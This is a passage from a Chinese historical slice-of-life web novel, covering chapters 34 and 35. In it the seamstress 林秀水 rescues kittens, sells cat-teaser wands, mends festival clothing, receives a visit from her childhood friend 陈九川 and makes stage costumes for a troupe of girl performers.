“我才不信,”林秀水知道的,桑青镇里人对生子可没有太多的渴望,生男要给官府丁盐绸绢,生女得筹备奁产,大多人家无力养那么多孩子,所以这里最盛最多的是蚕花菩萨庙。 莲花娘子指指另外的娘子,“我就说,叫你们别同她取笑,下回不给你补衣裳了怎么办。” “同你讲真的,我们是去挖荠菜的,南边那荠菜好,晚些挖了送你一些,你簪头上做荠菜花,保佑你不犯头风病。” 林秀水信了,这确实是上巳节的风俗,说是戴了荠菜花,一年不头疼,斩病根。 她同几位娘子挥手,下了楼去,只见桌上一堆荠菜,王月兰在择,看她下来说:“沾了你的光,全是送给你的。” “那是赵娘子给的,张娘子的,李家对门那坐船来的,叫你扎满头荠菜花,快来,我给你簪上。” 所幸荠菜花也好看,白白小小一簇簇,林秀水簪了满头,跟她生了白头发一样,属实有点好笑。 今日王月兰穿了簇新的梅子青褙子,是林秀水连夜做出来的,她不打算穿着上工去,她要上外头显摆去。 林秀水则开了门想出去瞧瞧,正碰上街道司一堆人拿了梯子,往前头去,走上前两步好奇问道:“这是上哪去?” “小娘子,我们上南瓦子老桑树底下去,那儿生了一窝猫儿,猫娘在那直叫唤,我们想想法子,让它们下来。” “你要不也去瞧瞧,说不准得了猫娘准许,还能聘一只回家来养。” 第34章 第 34 章 一表三千里外的表哥 桑青镇多猫, 每条巷弄的屋檐上都能瞧见猫,日头好时,狸猫、黑猫、橘猫窝在檐背上, 揣手懒洋洋看人。 落雨时,缩在人家屋檐下避雨,舔一舔沾湿的猫毛, 林秀水时常见大猫带小猫,大摇大摆跑进人家院子里。 可要说养猫的话,还得等等。 但救猫她很愿意,要去瞧热闹, 远远跟在街道司的人身后。 今日上巳节,水路船多,一艘艘在河里堵着, 街上人多,卖桃花香囊的,她前几日刚做了不少给姚娘子。 有人将荠菜花扎捆到一块,搭在竹篮上,沿街叫卖,也有做荠菜馒头卖的,一只只刚出炉, 喷香。 而越近南瓦子那棵老桑树, 人围得越多, 都仰头往上瞧, 有不少男子扶着自己的巾帽,嘴撅起,朝上喊:“吱吱。” 不管哪里大伙都是这样逗猫的,仿老鼠的叫声, 冲着狗便喊:“祝祝”,那只在树底下的狸花母猫倒是不往树上扑腾,看了过来,小猫在树梢间叫唤。 等街道司的人想搭梯子上去,狸花猫夹着尾巴,嘴里发出低吼声,高高耸起背,伸爪子去挠梯子。 街道司的人蹲下来,招招手,嘿了声:“这狸猫还挺凶的,吱吱,吱吱,到这来,你们要不谁去捉只老鼠来,卖猫鱼的呢,喂点东西啊,不然我们咋上去,明儿指定要下雨。” “你们咋这么没用呢,看我的,”有老大娘一扎包布,撩起袖子来,边上人看这架势,齐齐往后退了些,结果只见那大娘蹲下来,夹着嗓子喊:“咪咪,到这来。” 众人捂脸,什么破法子,后头给猫鱼也不吃,见死老鼠毛立即翘起来,那母猫一直挠梯子,嗷嗷直叫,大猫叫小猫跟着叫。 不让上梯,有人还出主意,“要不让潜火兵来,他们救火身手好,爬到树上去。” “你那法子不行,人家每日忙得很,少出馊主意。” 林秀水则回去,拿了根细竹竿,上条吊了一个她做的流苏,蹲下来,将竹竿伸到母猫前,彩色流苏一晃一晃,上下逗引它。 狸花猫登时被吸引,伸出爪子往上够,林秀水一拉竹竿,流苏吊到上头去,猫往上猛地一扑,没抓着,左跳右跳去抓流苏穗子。 其他人都看入迷了,街道司的人才赶紧上梯子,一手拎一只小猫脖子,把那窝小狸花猫带下来,众人 欢呼后又议论。 有人瞪大眼睛,“天爷,这玩意能逗猫啊?” “我可试了许多玩意,”一个娘子说,“我家猫一副爱答不理的样子,是不是猫和猫不相同啊。” 家里养了小猫的人说:“我给我家猫玩啥都不行,合着就一根竿子,加点穗子,猫便能这般活泼,我也要做根来。” “我家猫老不搭理我,不知做根来会不会有用。” 林秀水顺手摸到了母猫,摸得它呼噜呼噜叫,她抬起头跟大伙说:“我这做得简单,还能吊几根鸡毛,猫准会玩。” 街道司的人将猫崽放下来,总有五只,圆头圆脑的,黑棕色,连滚带爬地跑到母猫身上,只露出垂地的尾巴,有只小猫悄悄露出大眼睛,骨碌碌看向众人。 “这窝小猫让猫娘自己带走?”林秀水站起身问。 街道司的人摇摇头:“猫娘养不活,你看它前爪还瘸着呢我们一日日扫街,见多了饿死的小猫。这也不能聘,谁知道聘去的人怎样,我们都送猫儿巷去的。” “你们等等我,我跟你们一道去瞧瞧,”林秀水说。 猫儿巷倒不是野猫巷,那里都是专门做猫生意的,有卖猫鱼的,有做猫窝的,有改猫犬的,意思就是给猫剪毛,拿凤仙花染爪子的,里头也有粗略治猫的郎中。 当然还有巡夜的,不叫偷猫的来,临安府有不少贼偷,大伙叫他们觅贴儿,专门做些偷鸡捉猫的勾当,桑青镇郊外有好些野味店,肉都是用偷来的猫狗鸡充数的。 但进了猫儿巷里的猫,有人养,有东西给它们吃,等着人上门挑,到专门养猫的地方里聘,人有钱赚东西收,自然管得严,不叫猫被盗走,各取所需,是以那里有最多的猫。 桑青镇里人养蚕桑的多,蚕室里最怕老鼠,每年到二三月,不少养蚕人家会到猫儿巷聘一只猫,养在家里吓老鼠。 后来又有了个行当,做泥猫的,说是用泥猫做的猫放在蚕匾和蚕架上,老鼠吓得不敢来,因此又叫蚕猫。 林秀水带上小荷,跟上街道司的人到猫儿巷里,见他们送猫进去,寻户好人家养着先。两人倒是被门前蚕猫给吸引住了,一只只手掌大的猫坐在架子上,活灵活现的,有几个老匠人在捏猫,旁边有老婆婆在拿笔画猫,两眼瞪得跟铜铃一般,这叫蚕猫图,挂蚕室里镇猫的。 “好圆的猫,”小荷惊叹,蹲在那里细瞧,她跟林秀水说:“可我还是喜欢真猫。” 她看见只窝在墙角晒日头的橘猫,蹑手蹑脚要去摸,又被突然伸懒腰的狸花猫吸引,紧接着蹿出只矮脚猫,撞到小荷脚边,一人一猫被吓一跳,眼睛各自睁得老圆。 林秀水拉小荷一把,笑道:“我们进猫儿巷瞧瞧,你不是说想有个伴。” 小荷时常一个人在家,只有她和姨母回来时,才能上外头玩去,她今日见了猫,才想着应该给小荷寻个玩伴的。 猫儿巷里有许多猫,大的小的,圆的瘦的,黑的黄的,有的在屋檐上飞檐走壁,大猫带小猫练习跳过屋檐,小猫缩着脑袋不敢跳,也有蹲在墙柱子边,一动不动,假装自己是泥猫的。 小荷看见便走不到道,她满脸兴奋,“阿姐,你看这些猫,我能养一只吗?” 林秀水说:“当然行,我们可以聘一只猫来陪你。” “只是得用自己赚的钱聘一只猫,且还得给它隔三岔五买猫鱼,生病了要带它来瞧,要好好细心照顾它,可以吗?” 小荷也有小孩最普通的毛病,喜新厌旧,有新的耍货便不喜欢要旧的,而且很容易得到的,她在欢喜后,通常会束之高阁。 死物林秀水也不大管,可猫是活的,会动会捣乱,她来的路上,本想带小荷聘一只走的,可到这后,又改了主意。 小荷惊奇,张大嘴巴,指指自己,“我赚钱吗?” 她可从来没赚过钱呢。 “我怎么赚呢,”小荷好奇,“我什么也不会呀,我又抓不来猫鱼,也不会缝衣裳。” 林秀水笑了笑,摸摸她的脑袋,“你可以给阿姐打下手,做逗猫棒。” 小荷不明所以,但林秀水有门路,她用竹竿做的这种简易逗猫棒,在猫儿巷大有销路,随便逗弄一下,猫都要伸手抓弄番。 卖猫窝的店家觉得有门路,“这倒是新奇,但样式有些简单,卖三文一根最多罢了,你先拿上二十根来吧,至于钱,等货来拿再算。” 林秀水欣然答应,反正就算这里不要,她随便哪家都能卖出去。 她带小荷到人家那看猫,得知聘猫最少要一袋盐和芝麻,大概得六十文,但他们这边会给聘猫的人选吉日,准备纳猫契,写明日期、猫的模样、对猫的期许,会给准备到人家那一天口粮,介绍卖猫鱼的人家。 当然要是寻常野猫,买条鱼来聘便是,但太容易得到的总不珍惜。 原本小荷只是想有只猫儿逗乐,眼下变成了她想聘一只猫,她要赚钱,要靠自己的努力聘猫,她能攒到聘猫的钱。 小荷跟林秀水去买细竹竿子,花钱买鸡毛,要买绒线做流苏穗子,回到家,跟着学绑流苏穗子,小手取线在木板上绕一圈又一圈,等着林秀水穿绳取下,剪一半,用篦子梳散。 刚开始小荷兴冲冲的,后头她绕得手疼,苦着小脸问:“阿姐,我能赚几个钱呀?” “你绕完,我给你三文钱。” 小荷算不来这笔账,只是眼巴巴地说:“我多少日能聘得起猫?” 林秀水继续绕线,然后说:“起码得二十来日,你要守不住钱,拿去到货郎那买糖吃,买耍货玩,那得许久了。” “你聘了猫,还要隔几日花十文钱给它买猫鱼,又得等上许久,但你要是能多学点手艺,到后面我给你涨工钱。” 小荷眼神一亮,“涨多少?” “涨到五文、七文,你就能攒一点,还能自己买糖吃。” “好多钱,”小荷掰着指头数,她连算数也数不清,只觉得有好多钱,咧着嘴笑,跟在林秀水旁边乖乖绕线。 在家里绕,林秀水出门支摊,就坐她旁边,一点点慢慢绕,张家小子铁生喊她,“小荷,来玩呀,我们打蹴鞠。” “我晚些再去,眼下我在上工,你别来打搅我,”小荷摇摇头,她抹抹出汗的小手,她眼下跟大家可不一样,阿姐说,她很能干的! “搞什么怪模怪样的东西,我们不玩蹴鞠了,我们斗纸鸢你来不来?” 小荷其实很想玩,但她手里绕着线,只是摇摇头,“我晚些再去,你们先玩。” 她边在板上绕线边碎碎念,“我先绕完,我先绕完,我先绕完,我想去玩。” 最后终于绕完了线,得了林秀水给的三文钱,蹦起来喊:“我赚钱了,我赚钱了!我要攒着,我要聘猫!” 当然她眼下是这样想的,等她去玩,碰到戴着绿头巾簪茉莉花的货郎,挑一副满塞东西的竹木担架时,什么猫啊狗啊攒钱啊,她通通抛之脑后,只摸了钱袋要买糖吃。 等她回过神来,她想要哭,又憋住了,含了含嘴里的糖,糖可真好吃,她还是明日再攒吧。 小荷攒钱聘猫的路漫漫,要不是后头林秀水偷偷给她涨了工钱,她还不知道何时能聘得上。 当然小荷眼下买糖,被林秀水瞧个正着,觉得颇为好笑,又回过神跟面前的黑面郎君说:“这鸡毛是绑在竿子上,逗猫用的。” “我起早在南瓦子那瞧你用过,这鸡毛也能逗猫?” 黑面郎君一脸不信,他家养了三只黑猫,总是不爱理人,不管如何逗弄,都是一副我在睡别打扰我的模样。 林秀水递过去,“郎君大可以去试试,不好用再还我,我将五文钱退给你。” 最后黑面郎君带着这根鸡毛竹竿回了家,抱着怀疑的心试着逗弄了下,没想到原本只有放饭才会搭理他的几只猫,突然扑过来,伸爪子跟他玩,黑面郎君满眼放光,猛吸一口猫,看向旁边的竹竿,简直是神器! 这样好的东西,他一个人囤十根,拉 着他其他受猫所困的同党,一起过来大买特买。 林秀水的单子已经排到了许久之后,反正小荷是不愁没活做了。 只这半下午,林秀水靠逗猫棒就赚了百文,可比她缝补赚多了,但由于今日溪岸口今日船多,状况多,倒是给她招揽了不少生意。 上巳节船多人又心急,前头运柴船跟送鱼船撞到一块,送鱼船的鱼篓放在那船头,这一撞倒好,那鱼篓翻到河里去,活鱼乱游,死鱼飘在河面。 急得人跳下船去捞,淌着水在河里乱扑腾,偏偏鱼篓还破了好些,鱼全扔在船头,其他人船的人也急,岸上有娘子大喊:“找桑树口的小裁缝补补去,你们这样忙乱有什么用。” “哪里啊,”船上人慌忙四处张望,最后才在指点下,拿了篓子便跳水往岸上走,湿漉漉站在林秀水面前,“小娘子,你快给补补吧,鱼全跑走了。 ” 林秀水也赶紧拿过篓子来瞧,破了好些个洞,补得费许多劲,而且还一股鱼腥味,她赶紧说:“补没法补,我给你拿个油布袋子,给我十五便成,你赶紧套上头。” “哎哎,那赶紧拿来吧,我那可等不及,好死不死的,咋就撞了船呢。” 这卖鱼郎拿了油布袋子刚走,另一头立即来了个簪满花的娘子,拉着个小女童急急忙忙跑来,“小娘子,救救急,我家闺女裙子叫人踩裂了,你瞧,在这边,我们等会儿还想坐船,到外头去呢,可急死我了。” 林秀水接过来一瞧,那可不止裂了个口子,是勾破了洞,这裙子补补麻烦,织补绣补都不合适,她低头挑布料说:“我给你们补绣吧,织补没办法,你们粗绸提花的,补补我得要一个时辰,不值当。” 她冲小女童笑了笑,“给你补朵荠菜花好不好呀?以后没病痛。” 原本小女童被人踩了一脚,疼得直哭,又勾破了裙子,哭得一抽一噎,眼睛泛红,此时一听人问她的想法,她便点点头说:“要补得好看些。” 她娘也连连点头,“这个好,比补线好,瞧着人都高兴。” 林秀水也跟小女童说:“保管好看,你坐下来便能瞧见。” 林秀水坐好,如今她的工具已经不同于当时给船布郎补风筝时,那样少得可怜,她的家伙什有了不少。 粗针、细针、自制珠针,大剪、小剪、小小剪、镊子、粉袋,桃木尺、大小布尺,各色的布头,十来种颜色的绕线板等等。 所以即使拿过来的是粗绸裙子,她都能从布头里找到合适的料子,抽出来白细布,用小剪裁出荠菜花的花样,又取靠近绿绸布的颜色,裁了叶子。 她心里有数,都不用画纸样子,握了剪刀便能剪下来,先将叶子补绣到洞上,细细盖住洞,再一朵朵缝上白花瓣,在母女俩不错眼地盯着下,也不知道哪一步开始,那洞就变成了一簇小白花。 在绿绸裙子上不仅不显得突兀,反而有了别样的美,只要小女童一坐下来,便能看到裙子上的荠菜花,破洞消失了,但这花永远留在裙子上。 本来好好的日子里,发生了这样糟心的事情,母女两个都有些着恼和不愉快,可眼下见裙子补得这般好看,又满脸带笑,欢喜走了,能好好过上巳节了。 林秀水收了十六文,她今日已经赚了百来文了,她心满意足,决定晚上要买间笋蒸鹅来给她和姨母几个补补。 结果后面想,她要不还是再买只鸭子来,补一补她这焦头烂额的脑袋吧。 这一日里,她补了三条小孩的裤子,两条裙子,全是在游玩时踩的,刮破的,还有被人挤得掉水里的,挣扎时裤带破了,浑身湿淋淋来要做根新裤带的,一直在那说没脸见人了。 倒是还真来个没脸见人的,脸被蜂给蛰了,刚敷了药,他眼皮红肿,嘴巴肿得老高,用手紧紧捂着,跑过来含糊不清地说:“小娘子,你快给我做顶帷帽或是面巾子,我真没脸见人了。” “你这咋弄的?”林秀水刚补完上一单,一见他这模样,连忙憋住笑,背过身紧紧咬住唇,假装在找东西,她默默低下头去,实在憋不住。 那男子捂住脸,“小娘子,你想笑便笑吧,谁叫我时运差成这样,进了人家的养蜂园,身上有衣裳还好说,可这脸上,真是我娘来了也得打着灯笼细瞧一番,才能认出我是她亲生儿子。” 林秀水没忍住,笑出了声,她尽力不让自己笑得太大声,“没事,我给你做顶帷帽,保管不叫别人瞧到你的脸。” “那可快做吧,你没瞧见,他们都往我这瞧吗,那眼神比蜂蛰还吓人。” 林秀水最终给他做了顶帷帽,帽子是他自己从外头买的竹帽,林秀水给缝上了布,赚了二十文。 这一日她总共赚了两百七十八文,但她累得瘫在椅子上,她仰头看屋顶,“我觉得这节可以不过。” “不过人家咋赚钱,你咋赚钱,”王月兰将手浸在热水里,拿出湿淋淋一双手,按在林秀水手上,疼得她叫了声,“姨母,你收着点劲吧。” “我新学的,专治你这种手疼的,你忍忍。” 林秀水忍不了,搁这杀猪前给猪按摩呢。 她发誓,叫她姨母按按那简直比酷刑还叫人发颤。 夜里她练字,都是紧紧包着手写的,手可以疼,练字不能断,她可想练一手好字了。 之后几日也有不少生意,林秀水赚了七八百文,加上之前的钱,又能攒着买一匹油布,她接了洗衣行不少的油布手套生意。 还有调漆的,说手套用着不错,至少手不大红肿了,熬生漆还有些,比以前好上许多。 当然逗猫棒还在做,林秀水可专门给小荷寻的活计,让她在家里也能有些事做,在小荷坚持不懈地买一日糖,攒一日钱中,她终于攒了二十文,可喜可贺。 这几日也没发生什么稀奇的事,唯一的变动是,林秀水终于花钱正经做了两个招幌,花了她七十五文钱。 这市面里有专门做招幌的匠人,比起她随手缝五颜六色,故意吸引人的好多了,先是木质幌杆,挂在桑树口的要长许多,挂在船头的则是短的。 有专门挂幌子的幌架,用竹子做的,还有幌挑、幌冠、幌挂、幌座、幌坠,一套下来,做得规规整整。 林秀水也在桑树口有些名字,放弃自己不大着调的招幌,认认真真新做了两面幌子,用的青绿色布,上头绣了槐花。 但她不叫槐花摊子,她怕以后做得不好,别人骂槐花,她没取名,反正取了名,大家也叫桑树口底下那缝补摊子。 好似眼下一提起桑树口,想的不是里头的人,是她的缝补手艺。 自打有了正经招幌,林秀水将幌子挂在船头上,两岸人家远远瞧见一抹绿来,便知晓是她来了。拿出自家专门放缝补东西的篮子,从自家门前吊下来,喊一声,等她经过时取走,再吊起自己的篮子,取走里面的签筹。 都等着她明日或哪时经过,用签筹和钱换取补好的衣物,这是河道口人家最期待的事情,每次看破的东西交到林秀水手里,还回来时补得好好的,又很细致,拿到手里总要瞧上一番,很是高兴。 尤其有些人家买了布,花四十文,叫林秀水新做了门帘,她还会搭些不同的色上去,或是绣些花样,底下坠些流苏穗子,进门要瞧一眼,出门看一眼,心里总是满意的。 林秀水也被河道口人家记挂着,要是哪日她的船不来,有些人总嘀咕着,还要拿了缝补衣物,到桑树口来瞧瞧,生怕她往后不来了,得了准信,才放下衣物,拿了签筹叫她明日摇船时送来。 日子在缝补的针线里,又慢慢缝过去几针,当然不止河道口的人家记挂她。 这日从成衣铺里下工回来,她将船停好,提了篮子回来,到桑树口时,听见前面有人问:“你来寻阿俏?” “我来找她。” 那少年郎说:“我是她的表哥。” 表哥?她嘀咕,可真稀奇。 林秀水哪里还有什么表哥。 定睛一瞧,原来是她一表三千里 外的表哥——陈九川。 第35章 第 35 章 陈九川其人 “表哥?” 林秀水绕到前头去, 偏头冲陈九川喊了声,她就想知道,三个月不见而已, 谁有脸偷摸给自己抬辈分。 陈九川面不改色,他说:“阿俏,表哥来看你了。” 林秀水瞥他, 脸真大。 她朝边上看热闹娘子笑笑,“是我上林塘来的表亲,啊,长得一表人才??” 听闻这夸奖, 她朝陈九川看了眼,宽身板高个子,面皮微黑, 俊不俊俏她说不来,只觉得眼下人模人样的,穿蓝布盘领交襟衣襟,束发,浓眉大眼,很神气。 “你发财了?”林秀水咦了声,看见他脚边的粮袋, 自顾自接上, “发财后是要接济下我们这种穷苦表亲的。” “不止, 我还能接济你养的两只鸡, ”陈九川顺着她的话讲,踢踢旁边的小袋,“麦麸、稻子、虾壳,总能养成两只肥鸡。” “你可真有心阿。” “留着晚些再讲一遍。” 林秀水请陈九川进门, 他放下粮袋,拍拍肩膀,四处张望,不动声色,又皱眉,只转过身又笑道:“上林塘前头的雨不好,缺点东西。” “缺什么?”林秀水倒水出来,随口接话。 “缺大德。” 林秀水哈哈大笑,两人从小一起长大,仅从三个字里便明白他的意思,说那雨尽逮着她欺负,淹了她的屋子和田,这事他肯定也知晓了,没什么好讲的 她将茶盏递给陈九川说:“今年下田不忙?不用在家里帮着忙活吗?且你从明州回来也累得够呛吧,还得跑一趟镇里,给我送东西。”“九哥,你可真有心。” “少来,有事直说。” 陈九川嘶了声,要知道从小到大,林秀水高兴的时候喊他陈小川,不高兴时叫他陈九郎,正经时直呼大名陈九川,介于几者之间,则是陈大川、陈九换着来。 喊他九哥他可受不起。 林秀水跟他真是话不投机半句多,长呼口气,正经起来,“你真不忙?桑英和伯母身子怎么样,有没有收到我送的东西,西大娘呢,今年她儿子回来了没?……” “都好,收到了,很记挂你,回来了,不去赌社了,输得狠了在家里老实下田…”陈九川挨个回答,“你的棚屋那片地,等农忙歇后,再理出来给你卖个好价钱,田是没法回来了,今年雨水多,湖水涨得很高。” 他昨日刚回来,来前事情摸得门儿清,知道她会问什么。 这回答林秀水意料之中,本来她家的田便是葑田(fèng),从湖里淤积成泥而形成的田,前头还有做木架穿绳绑树上,形成架田,不至于被雨水冲走,年初雨太大,没拴牢。 陈九川也没多待,他实则很忙,押桑种去庆元府,回来时运了蚕种,别说歇脚,他只是路过上林塘进去一趟,又连夜急匆匆赶过来,今夜里起道去钱塘。 他给林秀水送了五斗冬舂米,两斗各色豆子,一袋面,生怕她饿死,邻里七零八碎的东西,托他带来,干姜、笋干、芝麻、酱等等,另有给小荷的零嘴,给王月兰带了些许东西。 一一交代清楚后,两人叙了会儿旧,林秀水说了自己的生意,姨母待她有多好,等她再晚些,也要回一趟上林塘。 她送陈九川出去,两个人一前一后走着,等陈九川上了大船,站在船头跟她说:“等我从钱塘回来,接你去上林塘。” 林秀水嫌他过来麻烦,便推拒道:“我坐官渡去。” 陈九川纳闷,“我比官渡便宜。” “我不要钱。” “你跟我过不去,还是同钱过不去,留着钱,多吃两口饭。” 前头催促,陈九川也没多待,让林秀水先走,他进了船,里头有人喊他,“九哥,先到哪?” 陈九川脱衣裳换上短褐,“你别喊我。” “亲哥,表哥,大哥,你又发哪门子的疯,”他亲表弟翻白眼,一日日跟犯病一样,从上林塘直接过去多好,还非得转道来镇里。 他迟早放狗咬陈九川,放大狗。 而林秀水这头回去,小荷正冲王月兰手舞足蹈地说:“来了个表亲,送阿姐和我们东西,长得老高了。” “哪门子的表亲?”王月兰翻了米缸纳闷,“送这么好的米。” 林秀水进来说:“粮食是陈九川送来的,还有些是西大娘几个攒的,一起捎来的,我都先接了,以后也送些回去。” 王月兰摸了把豆子,两人打小的交情,倒是没多想,只说:“你怎么不叫阿川留下吃饭,从前他总送东西到这来的,也不多留会儿。” “他忙着呢,我日后再谢他,”林秀水心里记着,这来得太突然,她又没有什么好东西。 夜里吃了冬舂米,米很香,林秀水夜里还梦见她小时候,她娘没病前,带她去陈家舂米,她最喜欢吃冬舂米。 醒来有些怅然,身上盖了被子坐着,坐在黑蒙蒙的屋子里,她有点想家,想槐花。 屋外的鸟又叫个不停,难得酝酿起的情绪,都被这死鸟叫没了,她下床打开窗,瞪这叫得极为难听的鸟。 “咕呱,”那鸟拉嗓子长长喊了声。 林秀水真想叫阿宝来,好好教教这鸟怎么叫。 楼下有竹篷船经过,又慢慢停下,喊她一声,“秀姐儿,你醒了没,有活来了。” “什么活?”林秀水蒙着脑袋探出去问。 “你先下来,到桑树口来。” 林秀水穿了衣裳下楼去,王月兰塞给她个烙好的饼,又说:“晚些空了,去那卖鱼郎那买条鲜鱼来。” 她应下,出了门,只见门外好几个女童,被一个系了青布腰巾的大娘领着过来,化了各色面妆,她觉得有些稀奇,多瞧了几眼。 先问道:“吃了没?” “没吃呢,早些来寻你,昨日来了好些次,见你这里生意实在好,没法子,又回去了,”春大娘笑了笑,头发花白,满脸的褶子,点点身后的小女童说,“来找你做些东西的。” “做什么,”林秀水啃了口饼,看这些女童年纪不大,很难想得出做什么东西,绢花、裙子、领抹? 春大娘笑道:“别看我们家几个年纪小,本事可不小,我们这行小娘子你或许没听过,叫做小女童象生叫声社的。” 林秀水想了想,南瓦子里诸般杂伎,她没听过的多了去了,这象生叫声她倒是听过,专门仿各种市井的买卖叫声或是场面的。 见她沉思,春大娘拉了拉个高瘦条的女童,“小三花,你给小娘子来个学乡谈。” 学乡谈学的是各地方言,小三花都不用清嗓,张口便来,“小伢儿真当煞灶,高桥哴(láng)射箭,田岸哴背纤。” “柴爿(pán)姜,可怜怜,三升谷子落秧田…” 林秀水听得连连佩服,只听出前头是临安话,她们喜欢管小孩称小伢儿,真当煞灶是厉害的意思。 后面高桥哴射箭是平江府(苏州)话,从语气硬直转轻软再到柴爿姜,又成了庆元府(宁波)话,后头还说了绍兴话,时下学乡谈盛行说这几地的乡谈。 她看小三花瘦小,应当不出十岁,没想到本事一套又一套。 春大娘却笑道:“小娘子怕是没听惯,这才哪到哪,小三花是学乡谈的,这是乔迎酒的,那是乔教学的,这三个是乔宅眷、乔捉蛇的。” 她没听懂,还是春大娘叫人一一演了给她瞧,林秀水才明白,乔迎酒是仿酒库上新酒的,乔教学是模仿人教书先生如何教书的,而这乔宅眷 便是仿大户人家中的各位娘子和姐儿,还有乔谢神、乔做亲的,仿人家成亲的。 春大娘说了这样许多话,最后表明自己来的意图,“听闻小娘子连傀儡衣裳也会做,活接得多些,我们这社的孩子练本事倒是许久,可还没有穿过正经衣裳上过台子,且我们是外来的,于这里的裁缝师傅也不大相熟。市面上没有她们能穿的衣裳,不知小娘子能否按着身形做些来?我们能出布。” 林秀水还以为是请她做些东西的,万万没想到,居然是让她做衣裳的,这还是她头次接到正经做衣裳的活计。 头次接做衣裳的活,便有些棘手,这不是说做件小女童衣裳那样简单,要符合各类装扮,林秀水还从没做过。 她有些犹豫,怕做得不大好,又问:“怎么不请个专门的裁缝师傅,我于这上头手艺不大精。” “那也请不来,我们行当糊口不容易,”春大娘说,“靠我拉扯她们几个,要价高的我请不起,要钱低的做得不像样。” 她说得轻声,“都是些爹娘不要的,我留她们混口饭吃。” “大伙说你这便宜,做工又细致,我们也不嫌差,能像个样子便行,叫我们这些娃登个台,赚些捧场钱。” 这些女童年纪小,大多八九岁上下,身量小,不大费布,林秀水到底不忍心,这年头混口饭吃不容易。 “要我全做也只怕有些难,春大娘你瞧这样,”林秀水说,“我在成衣铺里做活,乔宅眷的衣裳见识多,上手也快,先做这个成不成?一套全包要一百五十文。” 春大娘当即应声,林秀水拿出布尺量了两个小女童身长、臂展、胸腹,各个瘦得胸骨突出,巴掌脸。 她倒没说什么,别看人家年纪小,也是靠本事混饭吃的。只是拿了自己的纸来,坐那蘸墨画纸样,多亏苏巧娘叫她做偶人衣裳,她没事尽看人家成衣铺的衣裳,看怎么配的色,衣裳样式,又在成衣铺里缝领抹,把衣裳的部件一件件拆出来,画起衣样来得心应手。 她画的衣样比她练的字都要多,高高的一叠叠,赚的不少钱搭了不少在纸上。 春大娘接过纸样,看哪样都觉得不错,但手里没钱,只先定了两套,拿来的布也不算好,是粗布,有两种颜色,蓝和青。 她有点窘迫,想说点什么,林秀水却笑着扯出布,“买的尺幅长,能做两套,春大娘你放下心来,我最擅长缝缝补补了,到时候补些布进去,照样做得光鲜。” 这便是她缝补练出来的本事,桑桥渡的人家又不甚有钱,改衣裙缝补物件,都需要她贴布头上去,不仅要缝得好,也得好看。林秀水花了不少巧思在上头,哪怕赚两三文钱,也不能让人家的钱白花。 补绣里的贴绢堆绫于这上头很合适,用的布少,但缝补绣出来好看,能裁出各种花的样式,缝出来花团锦簇。 乔宅眷的衣裳要有长褙子、抹胸、百裥裙、裆裤,这两匹布得熨,林秀水到成衣铺里借的熨斗,她非得给顾娘子交钱。 “你接的活倒是多,”顾娘子也没说旁的,“看来让你只缝领抹真是屈才了,我今日去瞧一瞧,之后让你缝褙子去。” 林秀水满口答应,“我缝整件也行,保准能缝好,我近来还一直在练针法,娘子要信得过我,只管交给我。” 顾娘子不解:“你哪里来这么多力气,瞧你瘦的,又这样能干。” “我从前下田的,缝补可比插秧舒坦多了,”林秀水说得理所当然,她这辈子宁可拿针线,也不想再下田。 在成衣铺熨好布,林秀水开始裁衣,给小女童做衣裳,其实便如同给偶人做衣裳,尺寸放大点,而且比小衣好做,小衣的袖子要镊子小心翼翼地翻出来,费劲得很。 但缝起长袖子来,翻得快。 她两套衣裳做了四五日,夜里睡得稍晚,早上起得很早,不接太难的缝补活计,真难的,能等得住,非她不可的就接。 是以五日后,春大娘带姐妹花来时,便见到那给的两匹粗布,变成了一套十分时俏花哨且好看的衣裳。 “快穿上试试,登台子保准没问题,”林秀水拿起衣裳,给傻愣住的姐妹俩,春大娘这才回过神来,轻轻推推她俩,“拿去换上。” 姐妹俩慌慌张张去换衣裳,她们从没穿过这么好的衣裳,出来给春大娘瞧,蓝布长褙子绣花领抹,里头的抹胸背面是粗布,前面能被人瞧见的,是粉缎面绣梅花纹,青布裙子上有凸出的小白花点缀,补绣上去的,搭披帛和团花结,瘦巴巴的人也瞧着丰盈起来。 两姐妹的衣裳颜色是倒换的,一个青上衣蓝裙,一个蓝上衣青裙。 “怎么连抹胸也这样合身,我还怕会掉呢,”春大娘左右拉了瞧瞧,满意得很,笑得满脸褶子,心里放下块大石头,总算能出去赚点钱,不然她们吃不起饭了。 俩姐妹其中一个拉开长褙子,露出吊在肩上的带子,抹胸牢牢挂着,保准不会掉。 林秀水数完钱,又问了一嘴,“什么时候登台?” “哪有台子,”春大娘仍不减笑容,“在南瓦子,李巡栏给我们找了块公科地,我今日带她俩先上,赚口饭钱,小娘子要是得空,也来瞧瞧。” “而且其他衣裳,也得麻烦小娘子做几套来,我们不急,随你方便。” 起早的天,林秀水正有些许空闲,实则怕人家初次唱,没人打赏落了面子,当然得去捧个场。 李巡栏给寻的这块公科地不错,在南瓦子靠左边些,虽只有小块地方,来往人不少,这双生姐妹俩才九岁,见人自然打怵,唱得有些磕绊。 一曲唱完,林秀水带头叫好,给投了十文钱。 其实两人唱段不算特别好,声音也稚嫩,不如小三花的乡谈那样出色。但胜在衣裙好看,一动一静时引得不少娘子驻足,目光欣赏,倒是给了两人不少胆子,也放声唱起来,将平日里学的乔宅眷本事,演了个七七八八。 也有几位娘子叫好,给了些许赏钱,捧场到喊着再来一段,春大娘带着小女童象生叫声社,算是在南瓦子露了脸,扎了根,能叫大家暂时混顿饱饭吃。 在南瓦子这里,路岐人多如牛毛的地方,站稳脚跟可不是容易的事,全凭本事,唱得好有饭吃,唱不好饿肚子。 林秀水最多帮她们将衣裳做得花哨些,能引得人稍稍驻足,给个面子捧场,其他看她们自己的造化。 她回去后,又觉得自己眼下有缝衣裳的活要接,该做几个人台挂衣裳,先小尺寸和中等尺寸来上两个。 画了人台上半身的样子,她去找了张木匠。 结果他正在棒打不孝子。 张木匠气得眉毛倒竖,冲使劲扒着墙头的张木生挥棍子,“你个小兔崽子,给我滚下来。” “爹,你瞧我傻不傻?我会下来让你打,”张木生使劲蹬住墙,努力撅屁股,力图不让自己变猴子,他不想被打成红屁股。 林秀水小心探进半个身子,准备随时能跑,“张叔,你俩这是,在做打戏?” “做猴戏,”张木匠吹胡子瞪眼,“我打只猴子给你瞧瞧。” 张木生不服气,扒着墙努力扭头对林秀水说:“你来给评评理,我说我长高了些,以后要去募兵。” “这募兵要在脸上或手上刺字,我觉得我不能当个缩头乌龟王八蛋,见刺字就害怕,我讨了钱上外头针笔匠,在背上刻些 花绣怎么了?我又不光着身子到外头去,裸着给大伙瞧。” 